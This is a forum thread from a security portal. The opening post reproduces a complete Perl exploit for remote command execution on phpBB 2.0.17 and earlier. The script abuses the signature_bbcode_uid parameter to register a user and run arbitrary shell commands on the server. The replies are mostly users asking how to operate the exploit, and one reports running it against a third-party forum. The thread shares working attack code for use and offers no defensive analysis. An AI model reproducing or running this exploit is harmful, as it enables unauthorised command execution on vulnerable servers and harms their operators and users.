 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 |
phpBB <= 2.0.17 "signature_bbcode_uid" Remote C |
 |
 Posted: Sun Dec 25, 2005 12:46 am |
 |
|
| aarong11 |
| Beginner |
 |
|
| Joined: Dec 25, 2005 |
| Posts: 1 |
|
|
|
 |
|
 |
|
Here is a new exploit that was released about 30 minutes ago. Just thought i'd post it here. I take no credit for this.
| Code: |
#!/usr/bin/perl
# phpBB <= 2.0.17 remote command execution exploit
# need for work:
# 1. PHP 5 < 5.0.5
# 2. register_globals=On
# 3. magic_quotes off
# ------------------------------------------------
# (c)oded by 1dt.w0lf
# RST/GHC
# http://rst.void.ru
# http://ghc.ru
# 03.11.05
use LWP::UserAgent;
use HTTP::Cookies;
if(@ARGV < 2) { usage(); }
head();
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
for($i=0;$i<5;$i++)
{
$rand .= int(rand(9));
}
$name = 'r57phpBB2017xpl'.$rand;
$password = 'r57phpBB2017xpl'.$rand;
$path = $ARGV[0];
$cmd = $ARGV[1];
$xpl->cookie_jar( $cookie_jar );
$res = $xpl->post(
$path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00',
Content => [
'username' => $name,
'email' => $rand.'_bill_gates@microsoft.com',
'new_password' => $password,
'password_confirm' => $password,
'signature' => 'r57:`'.$cmd.'`',
'viewemail' => '0',
'hideonline' => '1',
'notifyreply' => '0',
'notifypm' => '0',
'popup_pm' => '0',
'attachsig' => '0',
'allowbbcode' => '1',
'allowhtml' => '1',
'allowsmilies' => '0',
'mode' => 'register',
'agreed' => 'true',
'coppa' => '0',
'submit' => 'Submit',
],
);
if($res->content =~ /form action=\"profile.php/) { print "Failed to register user $name\r\n"; exit(); }
else { print "Done. User $name successfully registered!\r\n"; }
$res = $xpl->post(
$path.'login.php',
Content => [
'username' => $name,
'password' => $password,
'redirect' => '',
'login' => 'Log in',
],Referer => $path.'login.php');
$res = $xpl->get($path.'profile.php?mode=editprofile');
@content = split("\n",$res->content);
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
for(@content)
{
if(/<\/textarea>/) { $p = 0; }
print $_."\r\n" if $p;
if(/<textarea name="signature"/){ $p = 1; }
}
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
sub head()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print " PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution exploit by RST/GHC\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
}
sub usage()
{
head();
print " Usage: r57phpBB2017.pl <path> <cmd>\r\n";
print " <path> - Path to forum e.g. http://phpbb.com/forum/\r\n";
print " <cmd> - Command for execute\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print "(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
exit();
}
|
|
|
|
|
|
|
|
|
|
| Posted: Sun Dec 25, 2005 1:35 am |
|
|
| lak1s |
| Regular user |
|
|
| Joined: Oct 22, 2005 |
| Posts: 11 |
|
|
|
|
|
|
|
| How to use it? it works but dont know how to use, plz a little help:) |
|
|
|
|
| Posted: Sun Dec 25, 2005 8:10 am |
|
|
| shai-tan |
| Valuable expert |
 |
|
| Joined: Feb 22, 2005 |
| Posts: 477 |
|
|
|
|
|
|
|
Save it to a .pl file and run it in Linux or Cygwin Emulator for Windows. If you dont understand that then read up about how Perl works.
Shai-tan |
|
_________________
Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
| Posted: Sun Dec 25, 2005 11:46 am |
|
|
| lak1s |
| Regular user |
|
|
| Joined: Oct 22, 2005 |
| Posts: 11 |
|
|
|
|
|
|
|
| Quote: | Save it to a .pl file and run it in Linux or Cygwin Emulator for Windows. If you dont understand that then read up about how Perl works.
Shai-tan |
yes ive learnd how perl works ive execute the file, it say it works but dont know what does this script does.. |
|
|
|
|
| Posted: Mon Jan 09, 2006 9:24 pm |
|
|
| glitch |
| Beginner |
|
|
| Joined: Jan 09, 2006 |
| Posts: 2 |
| Location: Poland |
|
|
|
|
|
|
|
|
|
|
| Posted: Wed Jan 25, 2006 5:35 pm |
|
|
| robin1200 |
| Regular user |
|
|
| Joined: Sep 13, 2005 |
| Posts: 19 |
|
|
|
|
|
|
|
whats the point of copy/paste exploits if don't explain how they work or what they do...
this particular exploit creates a user.. but whats the password ? and how do you input commands?
thanks |
|
|
|
|
| Posted: Wed Jan 25, 2006 8:26 pm |
|
|
| Tomanas |
| Active user |
|
|
| Joined: Jan 30, 2005 |
| Posts: 29 |
|
|
|
|
|
|
|
It would be super if it would work....
Can't locate LWP/UserAgent.pm in @INC (@INC contains: /usr/lib/perl5/5.8.7/i486-linux /usr/lib/perl5/5.8.7 /usr/lib/perl5/site_perl/5.8.7/i486-linux /usr/lib/perl5/site_perl/5.8.7 /usr/lib/perl5/site_perl/5.8.6 /usr/lib/perl5/site_perl/5.8.5 /usr/lib/perl5/site_perl .) at php.pl line 15.
BEGIN failed--compilation aborted at php.pl line 15.
It works only on my localhost, on win xp with active perl installed, but on my servers running linux - no  |
|
|
|
|
| Posted: Wed Jan 25, 2006 11:50 pm |
|
|
| webguy714 |
| Beginner |
|
|
| Joined: Dec 03, 2005 |
| Posts: 4 |
|
|
|
|
|
|
|
I ran the script as:
phpbb2017.pl http://forum.theirdomain.com \r\n
it came back with athe following msg:
"Done. User r57phpBB2017xp137221 successfully registered."
Now what do i do from here...? |
|
|
|
|
| Posted: Fri Mar 10, 2006 10:35 am |
|
|
| lookatmenow |
| Regular user |
|
|
| Joined: Feb 24, 2006 |
| Posts: 21 |
|
|
|
|
|
|
|
creates a user, the password will be the same as the usernam. however, i suggest if you don't want things to look wierd then edit the code a little so your username is 20 characters long
i'm not sure what it's useful for. other than you can register without putting in an email address etc...
anyone know what other uses there are... |
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 1038
Members: 0
Total: 1038
